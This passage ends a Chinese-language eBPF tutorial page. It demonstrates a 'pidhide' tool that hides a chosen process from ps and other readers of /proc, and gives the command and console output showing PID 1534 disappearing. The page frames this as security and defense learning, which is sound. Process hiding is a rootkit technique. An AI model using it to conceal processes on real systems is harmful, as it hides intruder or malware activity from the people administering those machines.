<pre><code class="language-sh">sudo ./pidhide --pid-to-hide 1534
</code></pre>
<p>这条命令将使所有尝试读取 <code>/proc/</code> 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏:</p>
<pre><code class="language-console">$ ps -aux | grep 1534
yunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor
yunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534
</code></pre>
<p>此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 <code>sudo ./pidhide --pid-to-hide 1534</code>,再次运行 <code>ps -aux | grep 1534</code>,就会发现进程 ID 为 1534 的进程已经不见了。</p>
<pre><code class="language-console">$ sudo ./pidhide --pid-to-hide 1534
Hiding PID 1534
Hid PID from program 31529 (ps)
Hid PID from program 31551 (ps)
Hid PID from program 31560 (ps)
Hid PID from program 31582 (ps)
Hid PID from program 31582 (ps)
Hid PID from program 31585 (bash)
Hid PID from program 31585 (bash)
Hid PID from program 31609 (bash)
Hid PID from program 31640 (ps)
Hid PID from program 31649 (ps)
</code></pre>
<p>这个程序将匹配这个 pid 的进程隐藏,使得像 <code>ps</code> 这样的工具无法看到,我们可以通过 <code>ps aux | grep 1534</code> 来验证。</p>
<pre><code class="language-console">$ ps -aux | grep 1534
root 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534
root 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534
root 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534
yunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534
</code></pre>
<h2 id="总结"><a class="header" href="#总结">总结</a></h2>
<p>通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。</p>
<p>您还可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 以获取更多示例和完整的教程。</p>
<p>接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,包括如何使用 eBPF 进行网络和系统性能分析,如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息,进一步提升你的 eBPF 开发技能。</p>
</main>
<nav class="nav-wrapper" aria-label="Page navigation">
<!-- Mobile navigation buttons -->
<a rel="prev" href="../29-sockops/index.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
<i class="fa fa-angle-left"></i>
</a>
<a rel="next" href="../25-signal/index.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
<i class="fa fa-angle-right"></i>
</a>
<div style="clear: both"></div>
</nav>
</div>
</div>
<nav class="nav-wide-wrapper" aria-label="Page navigation">
<a rel="prev" href="../29-sockops/index.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
<i class="fa fa-angle-left"></i>
</a>
<a rel="next" href="../25-signal/index.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
<i class="fa fa-angle-right"></i>
</a>
</nav>
</div>
<script>
window.playground_copyable = true;
</script>
<script src="../elasticlunr.min.js"></script>
<script src="../mark.min.js"></script>
<script src="../searcher.js"></script>
<script src="../clipboard.min.js"></script>
<script src="../highlight.js"></script>
<script src="../book.js"></script>
<!-- Custom JS scripts -->
</div>
</body>
</html>